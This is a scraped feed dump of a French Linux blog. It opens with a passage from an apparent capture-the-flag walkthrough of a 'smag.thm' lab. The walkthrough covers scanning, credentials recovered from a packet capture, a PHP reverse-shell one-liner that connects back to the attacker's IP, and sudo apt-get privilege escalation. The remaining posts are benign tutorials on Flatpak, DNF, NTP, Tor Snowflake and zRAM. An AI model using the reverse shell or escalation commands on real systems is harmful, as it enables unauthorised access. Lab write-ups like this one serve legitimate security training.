<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">nmap -A 10.10.150.39
</span></span></code></pre></div><p>Il y a deux ports ouverts, dont le serveur web qui nous intéresse et voici la page d&rsquo;accueil :</p>
<p><img src="https://azlinux.fr/uploads/2a459b3460d74ed70d4351f929ae947b.webp"
	
	
	
	loading="lazy"
	
	
></p>
<p>Comme nous ne trouvons rien de pertinent sur la page d&rsquo;accueil, nous utilisons Nikto pour essayer de trouver une page cachée et ainsi nous trouvons un répertoire /mail et voici le contenu de la page :</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">nikto -h http://10.10.150.39
</span></span></code></pre></div><p><img src="https://azlinux.fr/uploads/32fa1b468c377e46afa0f1addbd230d1.webp"
	
	
	
	loading="lazy"
	
	
></p>
<p>Nous arrivons sur une page contenant une liste d&rsquo;emails où le premier email nous fournit un fichier contenant une trace réseau et avec Wireshark nous trouvons un nom d&rsquo;utilisateur et un mot de passe</p>
<p><img src="https://azlinux.fr/uploads/c15333a8e644c6d588a205882bea0818.webp"
	
	
	
	loading="lazy"
	
	
></p>
<p>Pour pouvoir se connecter à cette page d&rsquo;administration, nous devons modifier le fichier hosts avec l&rsquo;adresse IP pointant vers le nom de domaine development.smag.thm trouvé avec cette commande :</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">gobuster vhost -u http://10.10.150.39 -w /usr/share/worldlists/seclists/Discovery/DNS/subdomains-top1million-110000.txt
</span></span></code></pre></div><p><img src="https://azlinux.fr/uploads/fd5c4289be54992f0d031b06280f33f2.webp"
	
	
	
	loading="lazy"
	
	
> <img src="https://azlinux.fr/uploads/5822c98a64b962d68f727e31e4f29616.webp"
	
	
	
	loading="lazy"
	
	
></p>
<p>Ainsi, après s&rsquo;être connecté, nous avons accès à une interface pour exécuter des commandes sur la machine. Nous commençons par exécuter Pwncat puis nous recherchons un Reverse Shell sur <a class="link" href="https://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet"  target="_blank" rel="noopener"
    >pentestmonkey</a> afin que la cible se connecte à notre machine pour obtenir un shell.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">pwncat-cs -lp <span class="m">1234</span>
</span></span></code></pre></div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">php -r <span class="s1">&#39;$sock=fsockopen(&#34;10.8.74.196&#34;,1234);exec(&#34;/bin/sh -i &lt;&amp;3 &gt;&amp;3 2&gt;&amp;3&#34;);&#39;</span>
</span></span></code></pre></div><p><img src="https://azlinux.fr/uploads/036cf2a4a1171e42f47156c78a8a6477.webp"
	
	
	
	loading="lazy"
	
	
></p>
<p>Ensuite, nous découvrons qu&rsquo;une commande est exécutée toutes les minutes. Nous pouvons donc l&rsquo;exploiter et nous connecter en tant que l&rsquo;utilisateur jake.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">ssh-keygen -o
</span></span></code></pre></div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">ssh -i /home/baptiste/id_rsa jake@10.10.150.39
</span></span></code></pre></div><p>Lorsque nous avons récupéré le flag user nous voyons que le binaire apt-get est exploitable donc nous trouvons sur le site <a class="link" href="https://gtfobins.github.io/gtfobins/apt-get/#sudo"  target="_blank" rel="noopener"
    >GTFOBins</a> la commande pour devenir super utilisateur.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">sudo apt-get update -o APT::Update::Pre-Invoke::<span class="o">=</span>/bin/bash
</span></span></code></pre></div><p><img src="https://azlinux.fr/uploads/06a506918534221a33053234c97a46c2.webp"
	
	
	
	loading="lazy"
	
	
></p>
";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}}}i:77;a:6:{s:4:"data";s:63:"
        
        
        
        
        
        
        ";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";s:5:"child";a:1:{s:0:"";a:5:{s:5:"title";a:1:{i:0;a:5:{s:4:"data";s:37:"Comment migrer de Snap vers Flatpak ?";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"link";a:1:{i:0;a:5:{s:4:"data";s:47:"https://azlinux.fr/migrer-de-snap-vers-flatpak/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:7:"pubDate";a:1:{i:0;a:5:{s:4:"data";s:31:"Sat, 09 Apr 2022 09:00:00 +0100";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"guid";a:1:{i:0;a:5:{s:4:"data";s:47:"https://azlinux.fr/migrer-de-snap-vers-flatpak/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:11:"description";a:1:{i:0;a:5:{s:4:"data";s:2258:"<img src="https://azlinux.fr/uploads/ea98b49d2b933c78f44d948661a2c445.webp" alt="Featured image of post Comment migrer de Snap vers Flatpak ?" /><p>Si vous êtes réticent à utiliser snap pour des raisons de performance, vous pouvez maintenant utiliser unsnap.</p>
<p>Cet outil vous permet de migrer des paquets snap vers des paquets flatpaks.</p>
<p>Pour télécharger le programme, vous pouvez cloner le dépôt GitHub :</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">git clone https://github.com/popey/unsnap
</span></span></code></pre></div><p>Vous pouvez maintenant exécuter le script pour générer des scripts personnalisés pour chaque tâche :</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">./unsnap auto
</span></span></code></pre></div><p><img src="https://azlinux.fr/uploads/05c13d96d238309b223e781fb6a55afd.webp"
	
	
	
	loading="lazy"
	
	
></p>
<p>Voici la liste des scripts à votre disposition :</p>
<ul>
<li><strong>00-backup</strong> - exécute <code>snap save</code> pour chaque snap installé en cours de migration.</li>
<li><strong>01-install-flatpak</strong> - S&rsquo;il n&rsquo;est pas déjà installé, installe le gestionnaire de paquets flatpak.</li>
<li><strong>02-enable-flathub</strong> - si elle n&rsquo;est pas activée, ajoutera l&rsquo;emplacement distant de flathub dans flatpak.</li>
<li><strong>03-install-flatpaks</strong> - installe les flatpaks équivalents pour chaque snap identifié.</li>
<li><strong>04-remove-snaps</strong> - supprime les snap pour lesquels les flatpaks ont été installés.</li>
<li><strong>99-remove-snapd</strong> - Supprime <code>snapd</code> lui-même, ce qui supprime tous les snaps.</li>
</ul>
<p>Vous pouvez exécuter n&rsquo;importe quel script ou ceux qui vous conviennent ; il est préférable de commencer par une sauvegarde et ensuite vous pouvez exécuter <code>./03-install-flatpaks</code> et <code>./04-remove-snaps</code> pour télécharger l&rsquo;équivalent de vos programmes avec flatpaks et ensuite supprimer les programmes snap.</p>
";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}}}i:78;a:6:{s:4:"data";s:63:"
        
        
        
        
        
        
        ";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";s:5:"child";a:1:{s:0:"";a:5:{s:5:"title";a:1:{i:0;a:5:{s:4:"data";s:60:"Comment sélectionner le miroir le plus rapide dans Fedora ?";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"link";a:1:{i:0;a:5:{s:4:"data";s:69:"https://azlinux.fr/selectionner-le-miroir-le-plus-rapide-dans-fedora/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:7:"pubDate";a:1:{i:0;a:5:{s:4:"data";s:31:"Sat, 09 Apr 2022 09:00:00 +0100";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"guid";a:1:{i:0;a:5:{s:4:"data";s:69:"https://azlinux.fr/selectionner-le-miroir-le-plus-rapide-dans-fedora/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:11:"description";a:1:{i:0;a:5:{s:4:"data";s:1796:"<img src="https://azlinux.fr/uploads/37e8c5dec0ed2e573a0dbe6525aee24e.webp" alt="Featured image of post Comment sélectionner le miroir le plus rapide dans Fedora ?" /><ol>
<li>Ouvrez le fichier de configuration avec votre éditeur préféré :</li>
</ol>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">sudo nano /etc/dnf/dnf.conf
</span></span></code></pre></div><ol start="2">
<li>Ajoutez ces lignes à la fin du fichier de configuration :</li>
</ol>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-gdscript3" data-lang="gdscript3"><span class="line"><span class="ln">1</span><span class="cl"><span class="n">fastestmirror</span><span class="o">=</span><span class="n">True</span>
</span></span><span class="line"><span class="ln">2</span><span class="cl"><span class="n">max_parallel_downloads</span><span class="o">=</span><span class="mi">10</span>
</span></span><span class="line"><span class="ln">3</span><span class="cl"><span class="n">defaultyes</span><span class="o">=</span><span class="n">True</span>
</span></span><span class="line"><span class="ln">4</span><span class="cl"><span class="n">keepcache</span><span class="o">=</span><span class="n">True</span>
</span></span></code></pre></div><p>Si vous voulez télécharger plus de 10 paquets en parallèle, vous pouvez changer la valeur à 15 ou 20.</p>
<ol start="3">
<li>Pour vérifier que tout fonctionne, vous pouvez effectuer une mise à jour :</li>
</ol>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">sudo dnf upgrade --refresh -y
</span></span></code></pre></div>";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}}}i:79;a:6:{s:4:"data";s:63:"
        
        
        
        
        
        
        ";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";s:5:"child";a:1:{s:0:"";a:5:{s:5:"title";a:1:{i:0;a:5:{s:4:"data";s:71:"Comment synchroniser l&#039;heure avec un serveur sur un Raspberry Pi ?";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"link";a:1:{i:0;a:5:{s:4:"data";s:76:"https://azlinux.fr/synchroniser-l-heure-avec-un-serveur-sur-un-raspberry-pi/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:7:"pubDate";a:1:{i:0;a:5:{s:4:"data";s:31:"Sun, 27 Mar 2022 09:00:00 +0100";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"guid";a:1:{i:0;a:5:{s:4:"data";s:76:"https://azlinux.fr/synchroniser-l-heure-avec-un-serveur-sur-un-raspberry-pi/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:11:"description";a:1:{i:0;a:5:{s:4:"data";s:2904:"<img src="https://azlinux.fr/uploads/87d6e95d0edd0b2d33144b1df4f43b35.webp" alt="Featured image of post Comment synchroniser l'heure avec un serveur sur un Raspberry Pi ?" /><p>Pour vérifier si vous êtes à l&rsquo;heure :</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">timedatectl status
</span></span></code></pre></div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="ln">1</span><span class="cl">Local time: Sun 2022-03-27 09:55:36 CEST
</span></span><span class="line"><span class="ln">2</span><span class="cl">Universal time: Sun 2022-03-27 07:55:36 UTC
</span></span><span class="line"><span class="ln">3</span><span class="cl">RTC time: n/a
</span></span><span class="line"><span class="ln">4</span><span class="cl">Time zone: Europe/Paris (CEST, +0200)
</span></span><span class="line"><span class="ln">5</span><span class="cl">System clock synchronized: yes
</span></span><span class="line"><span class="ln">6</span><span class="cl">NTP service: active
</span></span><span class="line"><span class="ln">7</span><span class="cl">RTC in local TZ: no
</span></span></code></pre></div><p>Pour configurer votre fuseau horaire :</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">sudo timedatectl set-timezone Europe/Paris
</span></span></code></pre></div><p>Pour activer la synchronisation avec un serveur NTP :</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">sudo apt install systemd-timesyncd
</span></span></code></pre></div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">sudo timedatectl set-ntp <span class="nb">true</span>
</span></span></code></pre></div><p>Vous pouvez modifier votre serveur NTP ici :</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">sudo nano /etc/systemd/timesyncd.conf
</span></span></code></pre></div><p>Pour essayer sur un serveur NTP aléatoire :</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">sudo apt install ntpdate
</span></span></code></pre></div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">ntpdate -q pool.ntp.org
</span></span></code></pre></div>";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}}}i:80;a:6:{s:4:"data";s:63:"
        
        
        
        
        
        
        ";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";s:5:"child";a:1:{s:0:"";a:5:{s:5:"title";a:1:{i:0;a:5:{s:4:"data";s:47:"Comment installer le thème GNOME sur Firefox ?";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"link";a:1:{i:0;a:5:{s:4:"data";s:56:"https://azlinux.fr/installer-le-theme-gnome-sur-firefox/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:7:"pubDate";a:1:{i:0;a:5:{s:4:"data";s:31:"Tue, 01 Mar 2022 09:00:00 +0100";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"guid";a:1:{i:0;a:5:{s:4:"data";s:56:"https://azlinux.fr/installer-le-theme-gnome-sur-firefox/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:11:"description";a:1:{i:0;a:5:{s:4:"data";s:2312:"<img src="https://azlinux.fr/uploads/75cc2ee7256ef1631efcfc360492dec8.webp" alt="Featured image of post Comment installer le thème GNOME sur Firefox ?" /><h2 id="installation-du-thème">Installation du thème</h2>
<p>Si vous voulez que Firefox ait cet aspect, vous pouvez télécharger et exécuter ce script :</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">git clone https://github.com/rafaelmardojai/firefox-gnome-theme
</span></span></code></pre></div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl"><span class="nb">cd</span> firefox-gnome-theme/scripts
</span></span></code></pre></div><ul>
<li>Si vous utilisez la version standard de Firefox disponible dans le dépôt :</li>
</ul>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">bash install.sh
</span></span></code></pre></div><ul>
<li>Si vous utilisez la version Flatpak de Firefox :</li>
</ul>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">bash install.sh -f ~/.var/app/org.mozilla.firefox/.mozilla/firefox
</span></span></code></pre></div><h2 id="mettre-à-jour-le-thème">Mettre à jour le thème</h2>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl"><span class="nb">cd</span> ~/.mozilla/firefox/chrome/firefox-gnome-theme
</span></span></code></pre></div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">git pull origin master
</span></span></code></pre></div><h2 id="désinstallation-du-thème">Désinstallation du thème</h2>
<ol>
<li>Allez dans le dossier de votre profil. (Allez dans <code>about:support</code> dans Firefox &gt; Application Basics &gt; Profile Directory &gt; Open Directory)</li>
<li>Supprimez le dossier <code>chrome</code>.</li>
</ol>
";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}}}i:81;a:6:{s:4:"data";s:63:"
        
        
        
        
        
        
        ";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";s:5:"child";a:1:{s:0:"";a:5:{s:5:"title";a:1:{i:0;a:5:{s:4:"data";s:88:"Comment installer Tor Snowflake pour aider à lutter contre la censure d&#039;Internet ?";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"link";a:1:{i:0;a:5:{s:4:"data";s:104:"https://azlinux.fr/comment-installer-tor-snowflake-pour-aider-%C3%A0-lutter-contre-la-censure-dinternet/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:7:"pubDate";a:1:{i:0;a:5:{s:4:"data";s:31:"Sat, 26 Feb 2022 09:00:00 +0100";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"guid";a:1:{i:0;a:5:{s:4:"data";s:104:"https://azlinux.fr/comment-installer-tor-snowflake-pour-aider-%C3%A0-lutter-contre-la-censure-dinternet/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:11:"description";a:1:{i:0;a:5:{s:4:"data";s:5584:"<img src="https://azlinux.fr/uploads/1ae5920111438e762958cd7acd4e2f6f.webp" alt="Featured image of post Comment installer Tor Snowflake pour aider à lutter contre la censure d'Internet ?" /><p>N&rsquo;êtes-vous pas en colère lorsque vous entendez que certaines personnes n&rsquo;ont pas un accès libre à Internet ?</p>
<p>Avec Tor Snowflake vous pouvez les aider en l&rsquo;installant sur votre serveur.</p>
<p>Pourquoi installer Tor Snowflake au lieu de créer un relais Tor ?</p>
<p>Tor Snowflake agit comme un proxy qui permet aux personnes où Tor est bloqué de continuer à profiter d&rsquo;un Internet libre, donc vous n&rsquo;avez pas à vous soucier des données qui passent par votre serveur car elles sont déjà passées par un relais Tor, donc votre adresse IP n&rsquo;apparaîtra nule part.</p>
<h2 id="vous-pouvez-utiliser-votre-navigateur">Vous pouvez utiliser votre navigateur</h2>

    <style type="text/css">
      .twitter-tweet {
        font: 14px/1.45 -apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,Oxygen-Sans,Ubuntu,Cantarell,"Helvetica Neue",sans-serif;
        border-left: 4px solid #2b7bb9;
        padding-left: 1.5em;
        color: #555;
      }
      .twitter-tweet a {
        color: #2b7bb9;
        text-decoration: none;
      }
      blockquote.twitter-tweet a:hover,
      blockquote.twitter-tweet a:focus {
        text-decoration: underline;
      }
    </style>
  <blockquote class="twitter-tweet"><p lang="en" dir="ltr">Snowflake works because of the thousands of volunteers that run proxies. Proxies are intentionally  lightweight and easy to set up! You can help users circumvent censorship simply by installing a browser extension.<br><br>Chrome: <a href="https://t.co/XstY2ix3fa">https://t.co/XstY2ix3fa</a><br>Firefox: <a href="https://t.co/KOXPR3Vnfi">https://t.co/KOXPR3Vnfi</a></p>&mdash; The Tor Project (@torproject) <a href="https://twitter.com/torproject/status/1405217906833559555?ref_src=twsrc%5Etfw">June 16, 2021</a></blockquote>


<h2 id="vous-pouvez-exécuter-ceci-sur-docker">Vous pouvez exécuter ceci sur Docker</h2>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">docker run <span class="se">\
</span></span></span><span class="line"><span class="ln">2</span><span class="cl"><span class="se"></span>  --name Snowflake <span class="se">\
</span></span></span><span class="line"><span class="ln">3</span><span class="cl"><span class="se"></span>  --network host <span class="se">\
</span></span></span><span class="line"><span class="ln">4</span><span class="cl"><span class="se"></span>  --restart unless-stopped <span class="se">\ </span> 
</span></span><span class="line"><span class="ln">5</span><span class="cl">  -d thetorproject/snowflake-proxy
</span></span></code></pre></div><h2 id="compilation-et-exécution-à-partir-des-sources">Compilation et exécution à partir des sources</h2>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">sudo apt install golang
</span></span></code></pre></div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">git clone https://git.torproject.org/pluggable-transports/snowflake
</span></span></code></pre></div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl"><span class="nb">cd</span> snowflake/proxy
</span></span></code></pre></div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">go build
</span></span></code></pre></div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">nohup ./proxy <span class="p">&amp;</span>
</span></span></code></pre></div><h2 id="disponible-dans-les-dépôts-officiels-de-debian-11">Disponible dans les dépôts officiels de Debian 11</h2>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">sudo apt install snowflake-proxy
</span></span></code></pre></div><h2 id="vous-pouvez-également-ajouter-cet-élément-sur-votre-site-web">Vous pouvez également ajouter cet élément sur votre site web</h2>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-html" data-lang="html"><span class="line"><span class="ln">1</span><span class="cl"><span class="p">&lt;</span><span class="nt">iframe</span> <span class="na">src</span><span class="o">=</span><span class="s">&#34;https://snowflake.torproject.org/embed.html&#34;</span> <span class="na">width</span><span class="o">=</span><span class="s">&#34;320&#34;</span> <span class="na">height</span><span class="o">=</span><span class="s">&#34;240&#34;</span> <span class="na">frameborder</span><span class="o">=</span><span class="s">&#34;0&#34;</span> <span class="na">scrolling</span><span class="o">=</span><span class="s">&#34;no&#34;</span><span class="p">&gt;&lt;/</span><span class="nt">iframe</span><span class="p">&gt;</span>
</span></span></code></pre></div><p>Merci aux volontaires et surtout au projet Tor qui lutte contre le pistage, la surveillance et la censure.</p>
";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}}}i:82;a:6:{s:4:"data";s:63:"
        
        
        
        
        
        
        ";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";s:5:"child";a:1:{s:0:"";a:5:{s:5:"title";a:1:{i:0;a:5:{s:4:"data";s:53:"Améliorer les performances du Raspberry Pi avec zRAM";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"link";a:1:{i:0;a:5:{s:4:"data";s:72:"https://azlinux.fr/ameliorer-les-performances-du-raspberry-pi-avec-zram/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:7:"pubDate";a:1:{i:0;a:5:{s:4:"data";s:31:"Thu, 17 Feb 2022 09:00:00 +0100";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"guid";a:1:{i:0;a:5:{s:4:"data";s:72:"https://azlinux.fr/ameliorer-les-performances-du-raspberry-pi-avec-zram/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:11:"description";a:1:{i:0;a:5:{s:4:"data";s:5346:"<img src="https://azlinux.fr/uploads/72c079bf47e3fb7c81f404fcd02b6de4.webp" alt="Featured image of post Améliorer les performances du Raspberry Pi avec zRAM" /><p>zRAM est un module du noyau Linux conçu pour créer un bloc compressé dans votre RAM qui peut être utilisé comme swap ou disque temporaire.</p>
<p>Vous pouvez installer zRAM de deux façons :</p>
<ol>
<li>Installer zRAM à partir du dépôt disponible sur votre distribution</li>
</ol>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">sudo apt install -y zram-tools
</span></span></code></pre></div><p>Vous devez ajouter les lignes suivantes dans ce fichier <code>/etc/sysctl.conf</code>.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="ln">1</span><span class="cl">vm.vfs_cache_pressure = 500
</span></span><span class="line"><span class="ln">2</span><span class="cl">vm.swappiness = 100
</span></span><span class="line"><span class="ln">3</span><span class="cl">vm.dirty_background_ratio = 1
</span></span><span class="line"><span class="ln">4</span><span class="cl">vm.dirty_ratio = 50
</span></span></code></pre></div><ol start="2">
<li>Installer la zRAM à partir d&rsquo;un script disponible sur <a class="link" href="https://github.com/foundObjects/zram-swap"  target="_blank" rel="noopener"
    >GitHub</a>.</li>
</ol>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">sudo apt install -y git
</span></span></code></pre></div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">git clone https://github.com/foundObjects/zram-swap <span class="o">&amp;&amp;</span> <span class="nb">cd</span> zram-swap/
</span></span></code></pre></div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">sudo ./install.sh
</span></span></code></pre></div><p>Maintenant, vous pouvez redémarrer le Raspberry Pi pour appliquer les changements et ensuite exécuter cette commande pour vérifier si cela fonctionne.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">sudo cat /proc/swaps
</span></span></code></pre></div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-gdscript3" data-lang="gdscript3"><span class="line"><span class="ln">1</span><span class="cl"><span class="n">Filename</span>                                <span class="n">Type</span>            <span class="n">Size</span>            <span class="n">Used</span>            <span class="n">Priority</span>
</span></span><span class="line"><span class="ln">2</span><span class="cl"><span class="o">/</span><span class="k">var</span><span class="o">/</span><span class="n">swap</span>                               <span class="n">file</span>            <span class="mi">102396</span>          <span class="mi">60456</span>           <span class="o">-</span><span class="mi">2</span>
</span></span><span class="line"><span class="ln">3</span><span class="cl"><span class="o">/</span><span class="n">dev</span><span class="o">/</span><span class="n">zram0</span>                              <span class="n">partition</span>       <span class="mi">65532</span>           <span class="mi">0</span>               <span class="mi">100</span>
</span></span><span class="line"><span class="ln">4</span><span class="cl"><span class="o">/</span><span class="n">dev</span><span class="o">/</span><span class="n">zram1</span>                              <span class="n">partition</span>       <span class="mi">65532</span>           <span class="mi">0</span>               <span class="mi">100</span>
</span></span><span class="line"><span class="ln">5</span><span class="cl"><span class="o">/</span><span class="n">dev</span><span class="o">/</span><span class="n">zram2</span>                              <span class="n">partition</span>       <span class="mi">65532</span>           <span class="mi">0</span>               <span class="mi">100</span>
</span></span><span class="line"><span class="ln">6</span><span class="cl"><span class="o">/</span><span class="n">dev</span><span class="o">/</span><span class="n">zram3</span>                              <span class="n">partition</span>       <span class="mi">65532</span>           <span class="mi">0</span>               <span class="mi">100</span>
</span></span></code></pre></div><p>Après l&rsquo;installation, vous pouvez vérifier combien de mémoire votre Raspberry Pi consomme avec cette commande.</p>
